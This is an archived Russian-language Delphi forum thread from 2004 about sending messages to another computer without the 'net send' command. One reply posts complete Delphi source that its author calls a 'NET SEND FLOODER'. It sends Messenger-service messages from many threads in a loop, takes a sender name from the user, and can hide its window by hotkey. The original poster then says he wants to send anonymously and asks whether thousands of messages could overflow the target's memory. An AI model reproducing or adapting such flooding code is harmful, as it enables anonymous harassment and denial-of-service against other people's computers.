Форум: "Сети";
Текущий архив: 2005.02.06;
Скачать: [xml.tar.bz2];
Внизотправка сообщения другому компу Найти похожие ветки
← →
dablin © (2004-11-17 22:26) [0]Можно ли без команды ‘net send…’ отправить сообщение другому компу(с помощью делфи конечно)?
← →
kaZaNoVa © (2004-11-17 23:16) [1]мой старый прокт на эту тему
unit Unit1;
interface
uses
Windows, Messages, SysUtils,
Variants, Classes, Graphics, Controls, Forms, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Edit4: TEdit;
Edit5: TEdit;
Label5: TLabel;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
procedure WMSYS(var msg: TMessage);message WM_HOTKEY;
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
all,thr:integer;
cs:_RTL_CRITICAL_SECTION;
implementation
{$R *.dfm}
type TNetMessageBufferSend = function (ServerName, MsgName,FromName:PWideChar; Buf:Pointer;BufLen: DWord):word; stdcall;
function NetSend(Host, Msg, ot: String): boolean;
var Error:word;
PWCHost,PWCMsg,otp: PWideChar;
Hlib: Cardinal;
NetMessageBufferSend: TNetMessageBufferSend;
begin
@NetMessageBufferSend := nil;
HLib:=LoadLibrary("netapi32.dll");
if HLib=0 then messagebox(0,"error load api","error",0);
if HLib<>0 then
begin
@NetMessageBufferSend:=GetProcAddress(HLib,"NetMessageBufferSend");
if @NetMessageBufferSend=nil then messagebox(0,"error load api 2","error",0);
if @NetMessageBufferSend<>nil then
begin
try
Error:=1;
GetMem(PWCHost, 2*Length(Host)+2);
GetMem(PWCMsg, 2*Length(Msg)+2);
GetMem(otp, 2*Length(ot)+2);
StringToWideChar(ot, otp, Length(ot)+2);
StringToWideChar(Host, PWCHost, Length(Host)+2);
StringToWideChar(Msg, PWCMsg, Length(Msg)+2);
Error:=NetMessageBufferSend(nil, PWCHost, otp, PWCMsg, 2*Length(Msg));
finally
FreeMem(PWCHost);
FreeMem(PWCMsg);
Result := (Error = 0);
end;
end;
end;
FreeLibrary(HLib);
end;
procedure kk;
Begin
repeat
sleep(1);
with form1 do
if not NetSend(edit1.Text, edit2.Text,edit3.Text) then exit;
EnterCriticalSection(cs);
if all<=0 then exit;
all:=all-1;
if all<=0 then exit;
LeaveCriticalSection(cs);
Until false;
end;
procedure servis;
Begin
repeat
sleep(10);
with form1 do
edit5.Text:=Inttostr(all);
until false;
end;
procedure Flood;
Var tk1,l:cardinal;
Begin
all:=StrToInt(form1.edit5.Text);
Thr:=StrToInt(form1.edit4.Text);
for l:=1 to Thr do
BeginThread(nil,0,@kk,nil,0,tk1);
BeginThread(nil,0,@servis,nil,0,tk1);
End;
procedure TForm1.Button1Click(Sender: TObject);
begin
if ((Edit4.Text="1") and (edit5.Text="1")) then begin
button1.Caption:="жди, мессаги идёт ...";
if not NetSend(edit1.Text, edit2.Text,edit3.Text)
then MessageBox(form1.handle,Pchar("Error # "+inttostr(GetlastError)),"Error",0);
button1.Caption:="ПослАть !";
end else Flood;
end;
procedure hidett;
Begin
showWindow(form1.Handle,sw_hide);
showWindow(application.Handle,sw_hide);
end;
Procedure showtt;
Begin
showWindow(form1.Handle,sw_normal);
Setforegroundwindow(form1.Handle);
end;
procedure TForm1.WMSYS(var msg: TMessage);
begin
inherited;
// showmessage(inttostr(Msg.wParam));
Case Msg.wParam of
1:NetSend(edit1.Text, edit2.Text,edit3.Text);
2:hidett;
3:showtt;
4:application.Terminate;
5:messagebox(0,"system","system",0);
End;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
InitializeCriticalSection(cs);
RegisterHotKey(form1.Handle,1, MOD_SHIFT, VK_F1);
RegisterHotKey(form1.Handle,2, MOD_SHIFT, VK_F2);
RegisterHotKey(form1.Handle,3, MOD_SHIFT, VK_F3);
RegisterHotKey(form1.Handle,4, MOD_SHIFT, VK_F4);
RegisterHotKey(form1.Handle,5, MOD_SHIFT, VK_F5);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnRegisterHotKey(form1.Handle,1);
UnRegisterHotKey(form1.Handle,2);
UnRegisterHotKey(form1.Handle,3);
UnRegisterHotKey(form1.Handle,4);
UnRegisterHotKey(form1.Handle,5);
DeleteCriticalSection(cs);
end;
end.
← →
kaZaNoVa © (2004-11-17 23:20) [2]упс, это был NET SEND FLOODER - немного не то запостил ;)))
← →
kaZaNoVa © (2004-11-17 23:21) [3]kaZaNoVa © (17.11.04 23:20) [2]
но как пример - думаю пойдёт, да и кстати, там надо в качестве отправителя либо nil либо "себя" - нвые ситемы не позволяют произвала ...
← →
SammIk © (2004-11-18 09:23) [4]http://logid.narod.ru/PopUp.zip
← →
dablin © (2004-11-18 17:51) [5]просто при отправке через net send светится ip,а я анонимно хотел
← →
dablin © (2004-11-18 22:39) [6]Если я, например,отправлю тысячи net send"ов компу у него может произойти переполнение памяти? Ведь когда net send"ы доставляются они же хранятся в оперативе? Или нет?
Страницы: 1 вся ветка
Форум: "Сети";
Текущий архив: 2005.02.06;
Скачать: [xml.tar.bz2];
Память: 0.47 MB
Время: 0.035 c